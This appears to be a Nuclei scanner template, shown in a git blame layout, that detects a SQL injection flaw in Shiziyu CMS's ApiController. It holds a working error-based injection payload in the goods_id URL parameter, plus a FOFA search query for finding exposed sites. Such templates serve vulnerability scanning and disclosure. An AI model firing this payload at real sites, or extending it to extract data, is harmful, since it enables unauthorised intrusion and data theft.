2023-08-18 03:22:06 +00:00
|
|
|
id: shiziyu-cms-apicontroller-sqli
|
|
|
|
|
|
|
|
info:
|
2023-09-08 11:25:00 +00:00
|
|
|
name: Shiziyu CMS Api Controller - SQL Injection
|
2023-08-18 03:22:06 +00:00
|
|
|
author: SleepingBag945
|
|
|
|
severity: high
|
|
|
|
description: |
|
2023-09-08 11:25:00 +00:00
|
|
|
Shiziyu CMS ApiController.class.php parameter filtering is not rigorous, resulting in SQL injection vulnerability.
|
2023-08-18 03:22:06 +00:00
|
|
|
metadata:
|
2023-09-08 11:25:00 +00:00
|
|
|
verified: true
|
2023-10-14 11:27:55 +00:00
|
|
|
max-request: 1
|
2023-08-18 03:22:06 +00:00
|
|
|
fofa-query: body="/seller.php?s=/Public/login"
|
|
|
|
tags: sqli
|
2023-09-08 11:25:00 +00:00
|
|
|
variables:
|
|
|
|
num: "999999999"
|
2023-08-18 03:22:06 +00:00
|
|
|
|
2023-09-08 11:25:00 +00:00
|
|
|
http:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,md5({{num}}),0x7e),1)"
|
2023-08-18 03:22:06 +00:00
|
|
|
|
2023-09-08 11:25:00 +00:00
|
|
|
matchers-condition: and
|
2023-08-18 03:22:06 +00:00
|
|
|
matchers:
|
2023-09-08 11:25:00 +00:00
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- 'c8c605999f3d8352d7bb792cf3fdb25'
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
2023-10-14 11:27:55 +00:00
|
|
|
- 404
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 490a004630440220568d1a480733bdad8101bed626f23d0df24a131a94561274a2c5203c8c42b03d022070dcaad4084a104ca594d6e30097f071170aa15189aeb81cd7bec199d51cf017:922c64590222798bb761d5b6d8e72950
|